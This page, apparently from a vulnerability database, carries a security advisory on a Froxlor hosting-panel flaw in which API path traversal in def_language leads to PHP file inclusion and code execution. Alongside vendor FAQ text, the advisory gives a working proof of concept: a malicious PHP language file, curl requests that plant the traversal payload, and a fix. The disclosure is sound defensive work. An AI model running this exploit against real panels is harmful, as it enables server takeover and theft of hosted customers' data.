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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

Q: What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Recurring findings usually come from incomplete asset discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host.

Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

Q: How can SynScan help reduce vulnerability risk over time?

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355,754

Total vulnerabilities in the database

Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution — froxlor / froxlor

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')

Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the def_language parameter.

The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:

// customer_index.php:260-265
$def_language = Validate::validate(Request::post(&#039;def_language&#039;), &#039;default language&#039;);
if (isset($languages[$def_language])) {
    Customers::getLocal($userinfo, [
        &#039;id&#039; =&gt; $userinfo[&#039;customerid&#039;],
        &#039;def_language&#039; =&gt; $def_language
    ])-&gt;update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:

// Customers.php:1167-1172 (customer branch)
} else {
    // allowed parameters
    $def_language = $this-&gt;getParam(&#039;def_language&#039;, true, $result[&#039;def_language&#039;]);
    ...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, &#039;default language&#039;, &#039;&#039;, &#039;&#039;, [], true);

The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222):

private function initLang()
{
    Language::setLanguage(Settings::Get(&#039;panel.standardlanguage&#039;));
    if ($this-&gt;getUserDetail(&#039;language&#039;) !== null &amp;&amp; isset(Language::getLanguages()[$this-&gt;getUserDetail(&#039;language&#039;)])) {
        Language::setLanguage($this-&gt;getUserDetail(&#039;language&#039;));
    } elseif ($this-&gt;getUserDetail(&#039;def_language&#039;) !== null) {
        Language::setLanguage($this-&gt;getUserDetail(&#039;def_language&#039;)); // No validation
    }
}

Web path (init.php:180-185):

if (CurrentUser::hasSession()) {
    if (!empty(CurrentUser::getField(&#039;language&#039;)) &amp;&amp; isset(Language::getLanguages()[CurrentUser::getField(&#039;language&#039;)])) {
        Language::setLanguage(CurrentUser::getField(&#039;language&#039;));
    } else {
        Language::setLanguage(CurrentUser::getField(&#039;def_language&#039;)); // No validation
    }
}

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.

File inclusion (Language.php:89-98):

private static function loadLanguage($iso): array
{
    $languageFile = dirname(__DIR__, 2) . sprintf(&#039;/lng/%s.lng.php&#039;, $iso);
    if (!file_exists($languageFile)) {
        return [];
    }
    $lng = require $languageFile;  // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).

# Create malicious .lng.php file
echo &#039;&lt;?php system(&quot;id &gt; /tmp/pwned&quot;); return [];&#039; &gt; evil.lng.php

# Upload to customer web directory via FTP
ftp panel.example.com
&gt; put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

curl -s -X POST https://panel.example.com/api \
  -H &#039;Authorization: Basic &lt;base64(apikey:apisecret)&gt;&#039; \
  -d &#039;{&quot;command&quot;:&quot;Customers.update&quot;,&quot;params&quot;:{&quot;def_language&quot;:&quot;../../../../../var/customers/webs/customer1/evil&quot;}}&#039;

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

curl -s -X POST https://panel.example.com/api \
  -H &#039;Authorization: Basic &lt;base64(apikey:apisecret)&gt;&#039; \
  -d &#039;{&quot;command&quot;:&quot;Customers.get&quot;}&#039;

ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration.
Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:

// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, &#039;default language&#039;, &#039;&#039;, &#039;&#039;, [], true);

// With:
$def_language = Validate::validate($def_language, &#039;default language&#039;, &#039;&#039;, &#039;&#039;, [], true);
if (!empty($def_language) &amp;&amp; !isset(Language::getLanguages()[$def_language])) {
    $def_language = Settings::Get(&#039;panel.standardlanguage&#039;);
}

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

private static function loadLanguage($iso): array
{
    // Reject path traversal attempts
    if ($iso !== basename($iso) || str_contains($iso, &#039;..&#039;)) {
        return [];
    }
    $languageFile = dirname(__DIR__, 2) . sprintf(&#039;/lng/%s.lng.php&#039;, $iso);
    // ...
}

Published: Apr 16, 2026
Updated: Apr 16, 2026
GHSA: GHSA-w59f-67xm-rxx7
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Unknown
Score:
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CWEs:

CWE-98

Affected Software
References

Software	From	Fixed in
froxlor / froxlor	-	2.3.6

https://github.com/froxlor/froxlor/security/advisories/GHSA-w59f-67xm-rxx7

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.